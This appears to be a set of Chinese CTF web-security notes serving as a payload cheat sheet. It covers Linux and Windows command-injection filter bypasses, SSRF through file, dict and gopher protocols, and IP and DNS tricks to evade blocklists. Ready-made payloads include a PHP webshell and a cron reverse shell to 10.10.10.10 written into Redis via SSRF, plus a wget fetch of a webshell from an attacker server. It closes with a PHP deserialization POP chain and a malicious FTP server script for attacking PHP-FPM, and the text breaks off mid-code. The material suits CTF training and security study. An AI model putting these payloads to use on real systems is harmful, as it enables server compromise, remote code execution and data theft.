${PWD:0}
/var/www/html
${PWD:1}
var/www/html
${PWD:2:4}(第三位是长度)
ar/w
${ # }
获取数字0
${ #SHLVL }或${ ## }或${ #? }
获取数字1
${ PHP_VERSION:~A }
从7.3.22中获取数字2
${ #IFS }=3
linux下是3,mac里是4
${ #RANDOM }
获取4或5
${HOME:${ # }:${ ## }}或${PWD::${ #SHLVL }}
获取/
${USER:~A}
获取a
${HOME:${ #HOSTNAME }:${ #SHLVL }}
获取t
${PWD:${#IFS }:${ #? }}
获取r
构造/bin/rev逆序读取文件
过滤#时
<A;${ HOME::$? }???${ HOME::$? }?????${ RANDOM::$? } ????.???
(让前面报错得到1) /bin/base64
(1)more:一页一页的显示档案内容 (2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页 (3)head:查看头几行 (4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 (5)tail:查看尾几行 (6)nl:显示的时候,顺便输出行号 (7)od:以二进制的方式读取档案内容 (8)vi:一种编辑器,这个也可以查看 (9)vim:一种编辑器,这个也可以查看 (10)sort:可以查看 (11)uniq:可以查看 (12)file -f:报错出具体内容 grep 1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file 示例:grep { *??? //读flag.php
666`whoami`666 //bash: 666root666: command not found 666`\whoami`666 //bash: 666root666: command not found //命令执行后的结果在2个666中间 w`f1hgb`ho`f1hgb`am`f1hgb`i //反引号的作用是把括起来的字符当做命令执行 w`\f1hgb`ho`\f1hgb`am`\f1hgb`i //这个反斜线作用就是平时的那种连接,反引号的作用是把括起来的字符当做命令执行 wh$(f1hgb)oa$(f1hgb)mi //和上面的差不多,都说执行和拼接
system("cat /etc/passwd") <=> "\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd"); <=> (sy.(st).em)("cat /etc/passwd"); <=>还可以用注释方法绕过 "system/*fthgb666*/("cat /etc/passwd);" <=> "system/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);" <=> "(sy./*fthgb666*/(st)/*fthgb666*/.em)/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"
(1) 通过 >
来创建文件
(2) 通过 >
将命令结果存入文件中
使用 >
命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建该文件再存入
在 Linux 中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加 \
,可以将一条命令写在多行
比如一条命令 cat flag
可以如下表示
root@kali:~# ca\ > t\ > fl\ > ag this is your flag
既然可以这样那我们是不是可以在某些限制长度的情况下执行命令,将命令一条一条输入一个文本中再执行,尝试一下
root@kali:~# echo "ca\\">cmd root@kali:~# echo "t\\">>cmd root@kali:~# echo " fl\\">>cmd root@kali:~# echo "ag">>cmd root@kali:~# cat cmd ca\ t\ fl\ ag root@kali:~# sh cmd this is your flag
用这种方法可以绕过一些长度限制读取文件内容
在 linux
中,我们使用 ls -t
命令后,可以将文件名按照时间顺序排列出来(后创建的排在前面)
root@kali:~/example# touch a root@kali:~/example# touch b root@kali:~/example# touch c root@kali:~/example# ls -t c b a
我们来看看 ls -t>ghtwf01
有什么效果 (开始不存在 ghtwf01
这个文件)
root@kali:~/example# ls -t>ghtwf01 root@kali:~/example# cat ghtwf01 ghtwf01 c b a
这条命令先执行了创建 ghtwf01
文件然后将 ls -t
的执行结果写入 ghtwf01
文件
我们试试用这些方法来执行命令 cat flag
root@kali:~/example# > "ag" root@kali:~/example# > "fl\\" root@kali:~/example# > "t \\" root@kali:~/example# > "ca\\" root@kali:~/example# ls -t 'ca\' 't \' 'fl\' ag flag root@kali:~/example# ls -t > a root@kali:~/example# sh a a: 1: a: not found this is your flag a: 6: flag: not found
读取到了 flag
内容为 this is your flag
,无论这个文件里面有不有其它内容都能执行
总而言之文件构造绕过就是如下知识:
linux下可以用 1>a创建文件名为a的空文件 ls -t>test则会将目录按时间排序后写进test文件中 sh命令可以从一个文件中读取命令来执行
反弹 shell
命令比较长就可以用这种方式去绕过长度限制
如果服务器能连外网还可以使用命令 wget 网址 -O shell.php
去执行我们自己 vps
上面的木马文件
羽师傅博客:无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)
Firebasky 博客:无字母数字的命令执行 (ctfshow web 入门 55)
whoami //正常执行 w"h"o"a"m"i 或"w"h"o"a"m"i"或"w"h"o"a"m"i或w"h"o"a"m"i"//正常执行 who^ami或wh""o^a^mi 或wh""o^a^mi"//正常执行 但是"wh""o^a^mi"这种在开头就有单引号的情况是不能执行的 (Whoami)或(Wh^o^am""i)或((((Wh^o^am""i)))) //正常执行 注:可以加无数个"但不能同时连续加2个^符号,因为^号是cmd中的转义符,跟在他后面的符号会被转义
| //直接执行后面的语句 || //如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句 & //前面和后面命令都要执行,无论前面真假 && //如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
知识点:用两个 % 括起来的变量,会输出变量的值
set a=1 //设置变量a,值为1 echo a //此时输出结果为"a" echo %a% //此时输出结果为"1"
接下来的进阶利用就是:
set a=who set b=ami %a%%b% //正常执行whoami call %a%%b% //正常执行whoami
所以,上述的符号与命令部分的所有操作,都可以通过 set 来实现,只需要慢慢拼接就 ok
set a=whoami %a:~0% //取出所有字符,所以正常执行命令 %a:~0,6% //从开始切割6个字符,刚好是whoami,所以正常执行 %a:~0,5% //切割后是whoam,不是系统命令,不能执行
注:上述可以使用减号,和 python 的切割效果差不多
所以,可以考虑的东西就来了:
set a=abc qwe //先自定义 wh^o^%a:~0,1%mi //然后截断整理后就变成了:wh^o^ami,所以命令执行成功
可以简单地写出 webshell
1.对于SSRF,127.0.0.1无法使用的情况下,可以考虑0.0.0.0。
phpfile协议文件读取:
?url=file://c:/windows/win.ini
端口探测:
?url=127.0.0.1:§123§ //可使用burpsuit 爆破端口 通过banner辨别是否开放
?url=dict://127.0.0.1:§123§ //探测的更全
ssrf打ftp:
?url=fTp://username:password@127.0.0.2:21 //账号密码连接
查看key的值
/?url=fTp://username:password@127.0.0.2:21/key
ssrf打redis未授权:
写入一句话木马:
redis清空缓存文件命令:flushall
?url=dict://127.0.0.1:6379/config:set:dir:/var/www/html
?url=dict://127.0.0.1:6379/config:set:dbfilename:shell.php
?url=dict://127.0.0.1:6379/set:shell:"\n\n<?php eval($_POST[a]);?>\n\n" //不可以的话 可以把木马转化为hex 每隔两个加\x \x3C\x3F\x70\x68\x70\x20\x65\x76\x61\x6C\x28\x24\x5F\x50\x4F\x53\x54\x5B\x61\x5D\x29\x3B\x3F\x3E
?url=dict://127.0.0.1:6379/save
写入定时任务:
dict://127.0.0.1:6379/config:set:dbfilename:root
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
dict://127.0.0.1:6379/set:test:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.10.10.10/1234 0>&1\n\n"
dict://127.0.0.1:6379/save
file_get_contents()
函数的一个特性,即当PHP的 file_get_contents()
函数在遇到不认识的协议头时候会将这个协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。(include()函数也有类似的特性)
过滤了file://,可以使用file:/,file: ///,file:_///绕过
利用file文件可以直接读取本地文件内容,如下
phpfile:///etc/passwd
local_file:///etc/passwd
dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源。通过使用dict协议可以获取目标服务器端口上运行的服务版本等信息。
如请求
phpdict://192.168.163.1:3306/info
Gopher是基于TCP经典的SSRF跳板协议了,原理如下
bashgopher://127.0.0.1:70/_ + TCP/IP数据(URLENCODE)
其中_
可以是任意字符,作为连接符占位
一个示例
yamlGET /?test=123 HTTP/1.1
Host: 127.0.0.1:2222
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
URL编码后
perl%47%45%54%20%2f%3f%74%65%73%74%3d%31%32%33%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%3a%32%32%32%32%0d%0a%50%72%61%67%6d%61%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%43%61%63%68%65%2d%43%6f%6e%74%72%6f%6c%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%44%4e%54%3a%20%31%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%29%20%41%70%70%6c%65%57%65%62%4b%69%74%2f%35%33%37%2e%33%36%20%28%4b%48%54%4d%4c%2c%20%6c%69%6b%65%20%47%65%63%6b%6f%29%20%43%68%72%6f%6d%65%2f%38%33%2e%30%2e%34%31%30%33%2e%36%31%20%53%61%66%61%72%69%2f%35%33%37%2e%33%36%0d%0a%41%63%63%65%70%74%3a%20%74%65%78%74%2f%68%74%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%68%74%6d%6c%2b%78%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%3b%71%3d%30%2e%39%2c%69%6d%61%67%65%2f%77%65%62%70%2c%69%6d%61%67%65%2f%61%70%6e%67%2c%2a%2f%2a%3b%71%3d%30%2e%38%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%69%67%6e%65%64%2d%65%78%63%68%61%6e%67%65%3b%76%3d%62%33%3b%71%3d%30%2e%39%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%3a%20%7a%68%2d%43%4e%2c%7a%68%3b%71%3d%30%2e%39%2c%65%6e%2d%55%53%3b%71%3d%30%2e%38%2c%65%6e%3b%71%3d%30%2e%37%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%0d%0a
测试
perlcurl gopher://127.0.0.1:2222/_%47%45%54%20%2f%3f%74%65%73%74%3d%31%32%33%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%3a%32%32%32%32%0d%0a%50%72%61%67%6d%61%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%43%61%63%68%65%2d%43%6f%6e%74%72%6f%6c%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%44%4e%54%3a%20%31%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%29%20%41%70%70%6c%65%57%65%62%4b%69%74%2f%35%33%37%2e%33%36%20%28%4b%48%54%4d%4c%2c%20%6c%69%6b%65%20%47%65%63%6b%6f%29%20%43%68%72%6f%6d%65%2f%38%33%2e%30%2e%34%31%30%33%2e%36%31%20%53%61%66%61%72%69%2f%35%33%37%2e%33%36%0d%0a%41%63%63%65%70%74%3a%20%74%65%78%74%2f%68%74%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%68%74%6d%6c%2b%78%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%3b%71%3d%30%2e%39%2c%69%6d%61%67%65%2f%77%65%62%70%2c%69%6d%61%67%65%2f%61%70%6e%67%2c%2a%2f%2a%3b%71%3d%30%2e%38%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%69%67%6e%65%64%2d%65%78%63%68%61%6e%67%65%3b%76%3d%62%33%3b%71%3d%30%2e%39%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%3a%20%7a%68%2d%43%4e%2c%7a%68%3b%71%3d%30%2e%39%2c%65%6e%2d%55%53%3b%71%3d%30%2e%38%2c%65%6e%3b%71%3d%30%2e%37%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%0d%0a
->
HTTP/1.1 200 OK
Host: 127.0.0.1:2222
Date: Tue, 26 May 2020 03:53:05 GMT
Connection: close
X-Powered-By: PHP/7.3.15-3
Content-type: text/html; charset=UTF-8
123
所以在SSRF
时利用gopher
协议我们就可以构造任意TCP数据包发向内网了
URL的完整格式是
[协议类型]://[访问资源需要的凭证信息]@[服务器地址]:[端口号]/[资源层级UNIX文件路径][文件名]?[查询]#[片段ID]
所以你访问
> <a href=”http://baidu.com@1.1.1.1″”>http://baidu.com@1.1.1.1
和
> http://1.1.1.1
效果是一样的,因为解析的本来就是@
后面的服务器地址。
一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP,如采用如下正则表达式:
^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
对于这种过滤我们采用改编IP的写法的方式进行绕过,例如192.168.0.1这个IP地址可以被改写成:
另外IP中的每一位,各个进制可以混用。
访问改写后的IP地址时,Apache会报400 Bad Request,但Nginx、MySQL等其他服务仍能正常工作。
另外,0.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏。
这里可以参考 SSRF-Lab advance 的第一题的。
源代码
if (preg_match('#^https?://#i', $handler) !== 1) { echo "Wrong scheme! You can only use http or https!"; die(); } else if (preg_match('#^https?://10.0.0.3#i', $handler) === 1) { echo "Restricted area!"; die(); }
php 代码中通过正则对输入的 IP 进行了过滤。
众所周知,IP 地址是由四个字节组成的,一旦包含了小数点,就必须考虑到大小端表示,因为这个会影响 IP 地址的解析。不过好在所有的网络地址都是大端表示法,只需要注意这一点即可,下面我们介绍 IP 地址的表达方式。
字符串: 10.0.0.3 二进制: 00001010 . 00000000 . 00000000 . 00000011 十六进制: 0A.00.00.03 整数: 167772163
这些表达方式都能被curl
命令解析为正确的IP地址,之后如果我们要访问的IP地址被简单粗暴地过滤了就可以试试这种方法。除了上面的表达方式之外,还可以用 16 进制0x0A000003
表示IP地址,还有一个很少人知道的绕过小姿势,就是用 8 进制代替 10 进制来表示 IP 地址。在计算机的世界里,一旦在20
前面加个0
就会变成8进制,比如http://01200000003
实际上还是http://10.0.0.3
。上面两个表达方式,PHP 的 curl 模块能解析出来。
十六进制: http://0x0A.0x00.0x00.0x03 八进制: http://012.00.00.03 八进制溢出:http://265.0.0.3
IP
地址。假设你的IP
地址是10.0.0.1
,你只需使用前缀域名+IP地址+xip.io
即可完成相应自定义域名解析。10.0.0.1.xip.io # 解析到 10.0.0.1 www.10.0.0.2.xip.io # www 子域解析到 10.0.0.2 mysite.10.0.0.3.xip.io # mysite 子域解析到 10.0.0.3 foo.bar.10.0.0.4.xip.io # foo.bar 子域解析到 10.0.0.4
xip.name 在使用上与
xip.io
一致
10.0.0.1.xip.name # 解析到 10.0.0.1 www.10.0.0.2.xip.name # www 子域解析到 10.0.0.2 mysite.10.0.0.3.xip.name # mysite 子域解析到 10.0.0.3 foo.bar.10.0.0.4.xip.name # foo.bar 子域解析到 10.0.0.4
这种绕过方式还是很有效的,HackTheBox 上有一道 CTF 题目就是 DNS 重绑的。
HackTheBox-baby-CachedView | 芜风
DNS 重绑的话,原理如图所示
工具网站如下 https://lock.cmpxchg8b.com/rebinder.html
简单叙述一下逻辑:
1.判定你给的 IP 或者域名解析后的 IP 是否在黑名单中 2.若在,退出报错 3.若不在,再次访问你给的 IP 或者域名解析后的 IP;执行后续业务模块
所以思路很简单:你只需要有个域名,但是它映射两个 IP;同时设置 TTL 为 0,能方便两个 IP 即刻切换。
效果类比:你访问wwfcww.xyz
这个域名,第一次解析的 IP 是 192.168.0.1;而第二次解析的IP是 127.0.0.1,如此一来即可进行 SSRF 攻击。
phphttp://localhost/
http://0/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://[::]:80/
http://127。0。0。1/
http://①②⑦.⓪.⓪.①
http://127.1/
http://127.00000.00000.001/
http://[::1]
http://[::ffff:7f00:1]
http://[::ffff:127.0.0.1]
http://127.1
http://127.0.1
http://0:80
php<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
$r += 4294967296;
}
echo "十进制:"; // 2130706433
echo $r;
echo "八进制:"; // 0177.0.0.1
echo decoct($r);
echo "十六进制:"; // 0x7f.0.0.1
echo dechex($r);
?>
网络上存在一个很神奇的服务,网址为 http://xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,举个例子:
当我们访问:http://127.0.0.1.xip.io/flag.php 时,实际上访问的是http://127.0.0.1/1.php 。像这种网址还有http://nip.io,http://sslip.io 。
这个我在自己的服务器上没试成功,不知道为什么
wget命令是Linux系统用于从Web下载文件的命令行工具,支持 HTTP、HTTPS及FTP协议下载文件,而且wget还提供了很多选项,例如下载多个文件、后台下载,使用代理等等
嵌入式 Wget使用一点方法_skdkjzz的博客-CSDN博客
post请求
Wget默认发送Get请求,通过指定参数--post-dataor --post-file 这两个选项
e.g wget--post-data "aaaa" http://127.0.0.1:8333/test.php
wget--post-data "user=foo" http://127.0.0.1:8333/test.php
wget–post-file post_file http://127.0.0.1:8333/test.php
head请求
wget --debug--spider http://127.0.0.1:8333/test.php
--spider并不下载文件,通过head请求服务器,获取web服务器响应
–no-cache禁用缓存
e.g wget–no-cache http://127.0.0.1:8333/test.php
请求数据包头部Pragma
,不使用缓存,http1.1加上Cache-Control: no-cache, must-revalidate–referer使用referer
Referrer主要用户点击的上一个页面,一般可以用做防盗链技术,防盗链可以在url后面加一个key=value加密字段,或者使用特定referer字段。
e.g wget–debug –referer www.baidu.com http://127.0.0.1:8333/test.php
显示wget帮助和版本信息
Wget –v or wget –h
–e 就是执行命令
e.g wget-e "postdata=111111111" http://localhost:8333/test.php
这种形式和wget –post-data=”11111111” http://localhost:8333/test.php是相同的。
logfile (-o)把debug信息输出到文件
wget http://localhost:8333/test.php -ologfile
referer设置
wget --debug --referer "www.baidu.com/dsadsa" www.baidu.com/index.html
用法: wget [选项]... [URL]...
长选项所必须的参数在使用短选项时也是必须的。
启动:
参数 功能 -V, --version 显示 Wget 的版本信息并退出。 -h, --help 打印此帮助。 -b, --background 启动后转入后台。 -e, --execute=COMMAND 运行一个“.wgetrc”风格的命令。 日志和输入文件:
参数 功能 -o, --output-file=FILE 将日志信息写入 FILE。 -a, --append-output=FILE 将信息添加至 FILE。 -d, --debug 打印大量调试信息。 -q, --quiet 安静模式 (无信息输出)。 -v, --verbose 详尽的输出 (此为默认值)。 -nv, --no-verbose 关闭详尽输出,但不进入安静模式。 --report-speed=TYPE Output bandwidth as TYPE. TYPE can be bits. -i, --input-file=FILE 下载本地或外部 FILE 中的 URLs。 -F, --force-html 把输入文件当成 HTML 文件。 -B, --base=URL 解析与 URL 相关的HTML 输入文件 (由 -i -F 选项指定)。 --config=FILE Specify config file to use. 下载:
参数 功能 -t, --tries=NUMBER 设置重试次数为 NUMBER (0 代表无限制)。 --retry-connrefused 即使拒绝连接也是重试。 -O, --output-document=FILE 将文档写入 FILE。 -nc, --no-clobber skip downloads that would download to existing files (overwriting them). -c, --continue 断点续传下载文件。 --progress=TYPE 选择进度条类型。 -N, --timestamping 只获取比本地文件新的文件。 --no-use-server-timestamps 不用服务器上的时间戳来设置本地文件。 -S, --server-response 打印服务器响应。 --spider 不下载任何文件。 -T, --timeout=SECONDS 将所有超时设为 SECONDS 秒。 --dns-timeout=SECS 设置 DNS 查寻超时为 SECS 秒。 --connect-timeout=SECS 设置连接超时为 SECS 秒。 --read-timeout=SECS 设置读取超时为 SECS 秒。 -w, --wait=SECONDS 等待间隔为 SECONDS 秒。 --waitretry=SECONDS 在获取文件的重试期间等待 1..SECONDS 秒。 --random-wait 获取多个文件时,每次随机等待间隔0.5WAIT...1.5WAIT 秒。 --no-proxy 禁止使用代理。 -Q, --quota=NUMBER 设置获取配额为 NUMBER 字节。 --bind-address=ADDRESS 绑定至本地主机上的 ADDRESS (主机名或是 IP)。 --limit-rate=RATE 限制下载速率为 RATE。 --no-dns-cache 关闭 DNS 查寻缓存。 --restrict-file-names=OS 限定文件名中的字符为 OS 允许的字符。 --ignore-case 匹配文件/目录时忽略大小写。 -4, --inet4-only 仅连接至 IPv4 地址。 -6, --inet6-only 仅连接至 IPv6 地址。 --prefer-family=FAMILY 首先连接至指定协议的地址FAMILY 为 IPv6,IPv4 或是 none。 --user=USER 将 ftp 和 http 的用户名均设置为 USER。 --password=PASS 将 ftp 和 http 的密码均设置为 PASS。 --ask-password 提示输入密码。 --no-iri 关闭 IRI 支持。 --local-encoding=ENC IRI (国际化资源标识符) 使用 ENC 作为本地编码。 --remote-encoding=ENC 使用 ENC 作为默认远程编码。 --unlink remove file before clobber. 目录:
参数 功能 -nd, --no-directories 不创建目录。 -x, --force-directories 强制创建目录。 -nH, --no-host-directories 不要创建主目录。 --protocol-directories 在目录中使用协议名称。 -P, --directory-prefix=PREFIX 以 PREFIX/... 保存文件 --cut-dirs=NUMBER 忽略远程目录中 NUMBER 个目录层。 HTTP 选项:
参数 功能 --http-user=USER 设置 http 用户名为 USER。 --http-password=PASS 设置 http 密码为 PASS。 --no-cache 不在服务器上缓存数据。 --default-page=NAME 改变默认页(默认页通常是“index.html”)。 -E, --adjust-extension 以合适的扩展名保存 HTML/CSS 文档。 --ignore-length 忽略头部的‘Content-Length’区域。 --header=STRING 在头部插入 STRING。 --max-redirect 每页所允许的最大重定向。 --proxy-user=USER 使用 USER 作为代理用户名。 --proxy-password=PASS 使用 PASS 作为代理密码。 --referer=URL 在 HTTP 请求头包含‘Referer: URL’。 --save-headers 将 HTTP 头保存至文件。 -U, --user-agent=AGENT 标识为 AGENT 而不是 Wget/VERSION。 --no-http-keep-alive 禁用 HTTP keep-alive (永久连接)。 --no-cookies 不使用 cookies。 --load-cookies=FILE 会话开始前从 FILE 中载入 cookies。 --save-cookies=FILE 会话结束后保存 cookies 至 FILE。 --keep-session-cookies 载入并保存会话 (非永久) cookies。 --post-data=STRING 使用 POST 方式;把 STRING 作为数据发送。 --post-file=FILE 使用 POST 方式;发送 FILE 内容。 --method=HTTPMethod use method "HTTPMethod" in the header. --body-data=STRING Send STRING as data. --method MUST be set. --body-file=FILE Send contents of FILE. --method MUST be set. --content-disposition 当选中本地文件名时允许 Content-Disposition 头部 (尚在实验)。 --content-on-error output the received content on server errors. --auth-no-challenge 发送不含服务器询问的首次等待的基本 HTTP 验证信息。 HTTPS (SSL/TLS) 选项:
参数 功能 --secure-protocol=PR choose secure protocol, one of auto, SSLv2,SSLv3, TLSv1 and PFS. --https-only only follow secure HTTPS links --no-check-certificate 不要验证服务器的证书。 --certificate=FILE 客户端证书文件。 --certificate-type=TYPE 客户端证书类型,PEM 或 DER。 --private-key=FILE 私钥文件。 --private-key-type=TYPE 私钥文件类型,PEM 或 DER。 --ca-certificate=FILE 带有一组 CA 认证的文件。 --ca-directory=DIR 保存 CA 认证的哈希列表的目录。 --random-file=FILE 带有生成 SSL PRNG 的随机数据的文件。 --egd-file=FILE 用于命名带有随机数据的 EGD 套接字的文件。 FTP 选项:
参数 功能 --ftp-user=USER 设置 ftp 用户名为 USER。 --ftp-password=PASS 设置 ftp 密码为 PASS。 --no-remove-listing 不要删除‘.listing’文件。 --no-glob 不在 FTP 文件名中使用通配符展开。 --no-passive-ftp 禁用“passive”传输模式。 --preserve-permissions 保留远程文件的权限。 --retr-symlinks 递归目录时,获取链接的文件 (而非目录)。 WARC 选项:
参数 功能 --warc-file=FILENAME save request/response data to a .warc.gz file. --warc-header=STRING insert STRING into the warcinfo record. --warc-max-size=NUMBER set maximum size of WARC files to NUMBER. --warc-cdx write CDX index files. --warc-dedup=FILENAME do not store records listed in this CDX file. --no-warc-compression do not compress WARC files with GZIP. --no-warc-digests do not calculate SHA1 digests. --no-warc-keep-log do not store the log file in a WARC record. --warc-tempdir=DIRECTORY location for temporary files created by the WARC writer. 递归下载:
参数 功能 -r, --recursive 指定递归下载。 -l, --level=NUMBER 最大递归深度 (inf 或 0 代表无限制,即全部下载)。 --delete-after 下载完成后删除本地文件。 -k, --convert-links 让下载得到的 HTML 或 CSS 中的链接指向本地文件。 --backups=N before writing file X, rotate up to N backup files. -K, --backup-converted 在转换文件 X 前先将它备份为 X.orig。 -m, --mirror -N -r -l inf --no-remove-listing 的缩写形式。 -p, --page-requisites 下载所有用于显示 HTML 页面的图片之类的元素。 --strict-comments 用严格方式 (SGML) 处理 HTML 注释。 递归接受/拒绝:
参数 功能 -A, --accept=LIST 逗号分隔的可接受的扩展名列表。 -R, --reject=LIST 逗号分隔的要拒绝的扩展名列表。 --accept-regex=REGEX regex matching accepted URLs. --reject-regex=REGEX regex matching rejected URLs. --regex-type=TYPE regex type (posix). -D, --domains=LIST 逗号分隔的可接受的域列表。 --exclude-domains=LIST 逗号分隔的要拒绝的域列表。 --follow-ftp 跟踪 HTML 文档中的 FTP 链接。 --follow-tags=LIST 逗号分隔的跟踪的 HTML 标识列表。 --ignore-tags=LIST 逗号分隔的忽略的 HTML 标识列表。 -H, --span-hosts 递归时转向外部主机。 -L, --relative 只跟踪有关系的链接。 -I, --include-directories=LIST 允许目录的列表。 --trust-server-names use the name specified by the redirection url last component. -X, --exclude-directories=LIST 排除目录的列表。 -np, --no-parent 不追溯至父目录。
还可以利用wget进行一些命令外带
-bash: wget: 未找到命令_利用命令注入外带数据的一些姿势_weixin_39696665的博客-CSDN博客
php
php<?php
class Check {
public static $str1 = false;
public static $str2 = false;
}
class Esle {
public function __wakeup()
{
Check::$str1 = true;
}
}
class Hint {
public function __wakeup(){
$this->hint = "no hint";
}
public function __destruct(){
if(!$this->hint){
$this->hint = "phpinfo";
($this->hint)();
}
}
}
class Bunny {
public function __toString()
{
if (Check::$str2) {
if(!$this->data){
$this->data = $_REQUEST['data'];
}
file_put_contents($this->filename, $this->data);
} else {
throw new Error("Error");
}
}
}
class Welcome {
public function __invoke()
{
Check::$str2 = true;
return "Welcome" . $this->username;
}
}
class Bypass {
public function __destruct()
{
if (Check::$str1) {
($this->str4)();
} else {
throw new Error("Error");
}
}
}
if (isset($_GET['code'])) {
unserialize($_GET['code']);
} else {
highlight_file(__FILE__);
}
这里有file_put_contents,文件名和内容都可控,可以试试写马,但是这里做了权限控制,写不了
然后看到有hint类,里面能访问phpinfo尝试去反序列化执行这个类,绕过wakeup我们采用常用的修改方式
txt
txtO:4:"Hint":0:{}=>O:4:"Hint":1:{}
发现并没有执行,因为wakeup的绕过在高版本被修复了,这里官方给了一个很有意思的绕过https://bugs.php.net/bug.php?id=81151
将O改成C就能成功绕过,访问phpinfo,改成负数好像也可以
除此之外还可以利用bypass类来访问phpinfo
php
phpclass Bypass {
public function __construct()
{
$this->test = new Esle();
$this->str4 = 'phpinfo';
}
}
$a = new Bypass();
echo serialize($a);
image-20220513124945406
在phpinfo里发现
image-20220513125309445
那应该就是利用ftp(文件传输协议)的被动模式打php-fpm9000端口了
FTP 协议的被动模式:客户端试图从FTP服务器上读取/写入一个文件,服务器会通知客户端将文件的内容读取到一个指定的IP和端口上,我们可以指定到127.0.0.1:9000,这样就可以向目标主机本地的 PHP-FPM 发送一个任意的数据包,从而执行代码,造成SSRF
原理:
image-20220513131104286
这里要先在vps上搭一个恶意的ftp服务
python
python# evil_ftp.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 5002))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()
然后利用gopherus生成打fastcgi的payload
image-20220513135948923
我们只要9000/_后边的部分
最后就是构造pop链调用file_put_contents
这里有几个魔术方法
txt__wakeup():当调用unserialize时触发 __toString():当类被当作字符串时调用 __invoke():当把类当作函数处理时调用
pop链
php
phpclass Check {
public static $str1 = ture;
public static $str2 = 'phpinfo';
}
class Esle {
public function __wakeup()
{
Check::$str1 = true;
}
}
class Hint {
public function __wakeup(){
$this->hint = "no hint";
}
public function __destruct(){
if(!$this->hint){
$this->hint = "phpinfo";
($this->hint)();
}
